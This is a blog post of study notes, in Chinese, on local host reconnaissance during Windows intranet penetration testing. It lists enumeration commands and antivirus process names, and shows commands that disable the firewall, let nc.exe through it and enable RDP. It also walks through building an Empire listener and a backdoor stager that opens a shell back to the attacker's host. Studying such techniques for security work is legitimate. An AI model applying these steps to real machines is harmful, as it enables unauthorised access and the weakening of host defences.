内网信息收集之本机信息收集
/0x00 参考
《内网安全攻防》笔记。
0x01 手动收集信息
本机信息包括OS、权限、内网IP段、杀软、端口、服务、补丁更新频率、网络连接、共享、会话等。如果是域内主机,OS、应用软件、补丁、服务、杀软这些一般都是批量安装的。
查询网络配置信息
1 | ipconfig /all |
使用该命令可查看IP地址、DNS服务器、主机名、域名等信息:
查询操作系统及软件信息
查询操作系统名称和版本信息
分英文版和中文版:
1 | systeminfo | findstr /B /C:"OS Name" /C:"OS Version" |
查看系统体系结构
1 | echo %PROCESSOR_ARCHITECTURE% |
查看安装的软件及版本、路径等
利用wmic命令将结果输出到文本文件中:
1 | wmic product get name,version |
利用PowerShell命令收集软件的版本信息(当然如果已在PowerShell终端,则直接输入双引号里的命令即可):
1 | powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version" |
查询本机服务信息
1 | wmic service list brief |
查询进程列表
1 | tasklist |
该命令可以查看当前进程列表和进程用户,分析软件、客户端邮件、VPN和杀毒软件等进程:
如下命令查看进程信息:
1 | wmic process list brief |
常见杀毒软件的进程
如下表:
进程 | 软件名称 |
---|---|
360SD.EXE | 360杀毒 |
360TRAY.EXE | 360实时保护 |
ZHUDONGFANGYU.EXE | 360主动防御 |
KSAFETRAY.EXE | 金山卫士 |
SAFEDOGUPDATECENTER.EXE | 服务器安全狗 |
MCAFEE MCSHIELD.EXE | 迈克菲杀毒软件 |
EGUI.EXE | NOD32 |
AVP.EXE | 卡巴斯基 |
AVGUARD.EXE | 小红伞 |
BDAGENT.EXE | BITDEFENDER |
查询启动程序信息
1 | wmic startup get command,caption |
查询计划任务
1 | schtasks /query /fo LIST /v |
查询主机开机时间
1 | net statistics workstation |
查询用户列表
1 | net user |
通过分析本机用户列表,可以得出内网机子的命名规则,特别是个人及其的名称,可以用来推测整个域的用户命名方式。
通过以下命令获取本地管理员(通常包含域用户)信息:
1 | net localgroup administrators |
可以看到,本地管理员有两个用户和一个组,默认Domain Admins组中为域内机器的本地管理员用户。在真实环境中,为了方便管理,会有域用户被添加为域机器的本地管理员用户。如图:
执行如下命令查看当前在线用户:
1 | query user || qwinsta |
列出或断开本地计算机与所连接的客户端之间的会话
1 | net session |
查询端口列表
1 | netstat -ano |
查询补丁列表
1 | systeminfo |
需要注意系统的版本、位数、域、补丁信息及更新频率等。域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以找到未打补丁的漏洞。
使用wmic命令查看安装在系统中的补丁,包括补丁的名称、描述、ID、安装时间等信息:
1 | wmic qfe get Caption,Description,HotFixID,InstalledOn |
查询本机共享列表
1 | net share |
该命令可查看本机共享列表和可访问的域共享列表(域共享在很多时候是相同的):
利用wmic命令查找共享列表:
1 | wmic share get name,path,status |
查询路由表及所有可用接口的ARP缓存表
1 | route print |
查询防火墙相关配置
关闭防火墙
Windows Server 2003及之前的版本:
1 | netsh firewall set opmode disable |
Windows Server 2003之后的版本:
1 | netsh advfirewall set allprofiles state off |
查看防火墙配置
1 | netsh firewall show config |
修改防火墙配置
Windows Server 2003及之前的版本,允许指定程序全部连接:
1 | netsh firewall add allowedprogram c:\nc.exe "allow nc" enable |
Windows Server 2003之后的版本,情况如下。
允许指定程序进入:
1 | netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" |
允许指定程序退出:
1 | netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe" |
允许3389端口放行:
1 | netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow |
自定义防火墙日志的储存位置
1 | netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" |
查询代理配置情况
1 | reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" |
这里我本地是没开代理端口的:
查询并开启远程连接服务
查看远程连接端口
1 | Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber |
在命令行环境中执行注册表查询语句,连接的端口为0xd3d,转换后为3389:
在Windows Server 2003中开启3389端口
1 | wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 |
在Windows Server 2008和Windows Server 2012中开启3389端口
1 | wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 |
0x02 自动收集信息
为了简化前面手动收集信息的操作,我们可以直接创建一个脚本文件来自动完成前面的信息查询等工作。这里推荐一个使用WMIC收集目标机器信息的脚本。
WMIC(Windows Management Instrumentation Command-Line,Windows管理工具命令行)是最有用的Windows命令行工具。在默认情况下,任何版本的Windows XP的低权限用户不能访问WMIC,Windows 7以上版本的低权限用户允许访问WMIC并执行相关操作。
下载地址:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
我们可简单看下它的代码,其实就是执行一些wmic查询命令然后保存到html文件中:
1 | for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A" |
执行该脚本后,会在本地生成一个HTML文件来保存结果:
0x03 Empire下的主机信息收集
Empire是针对Windows系统的后渗透神器,包括了从stager生成、提权到渗透维持的一系列功能。
官网:http://www.powershellempire.com/
简单使用过程:
- 启动:
./empire
- 查看已有监听器:
listeners
- 删掉之前所有创建的监听器:
kill all
- 查看已有Agents并删除:
agents
、remove all
- 使用http监听器:
uselistener http
- 查看、设置对应选项并执行监听器:
info
、set Port 8080
、set Host kali[ip]:8080
、set Name hack
、info
、execute
- 使用usestager来生成后门:
back
、usestager windows/launcher_bat
- 查看、设置对应监听器选项并执行生成后门文件:
info
、set Listener hack
、info
、execute
- 生成的后门文件在/tmp目录下,拿到目标机子执行后可以取得连接shell
- Agents交互回连:
agents
、interact xxx
Empire提供了用于收集主机信息的模块。输入如下命令即可查看本机用户、域组成员、密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等:
1 | usemodule powershell/situational_awareness/host/winenum |
此外,powershell/situational_awareness/host/computerdetails模块几乎包含了系统中所有有用的信息,比如目标主机事件日志、应用程序控制策略日志,包括RDP登录信息、PowerShell脚本运行和保存的信息等。注意,该模块需要管理员权限运行。
0x04 查询当前权限
查询当前权限
1 | whoami |
通过该命令,我们一般可以区分出当前用户是属于以下哪种用户:
- 本地普通用户
- 本地管理员用户
- 域内用户
在这三种情况下,如果当前内网中存在域,那么本地普通用户是查询不到内网域信息的,而只能查询本机相关信息,但是本机管理员用户和域内用户则可以查询域内信息。
其原理在于:域内的所有查询都是通过DC实现的(基于LDAP协议),而这个查询需要经过权限认证,所以只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用Kerberos协议进行认证,无须额外输入账号密码。
本地管理员Administrator权限可以直接提升为Ntauthority或System权限,因此在域中除了普通用户外,所有的机器都有一个机器用户(用户名是机器名加上“$”)。在本质上,机器的System用户对应的就是域里面的机器用户。所以,使用System权限可以运行域内的查询命令。
比如这里是hacker域内的testuser用户:
获取域SID
1 | whoami /all |
可以看到当前域hacker的SID为S-1-5-21-554479669-3187065311-1765148423,域用户testuser的SID为S-1-5-21-554479669-3187065311-1765148423-1105:
查询指定用户的详细信息
1 | net user xxx /domain |
输入该命令可以看到当前用户在本地组中有没有本地管理员权限,属于哪个域等。
这里看到testuser用户在本地组并没有本地管理员权限,在域中属于Domain Users组: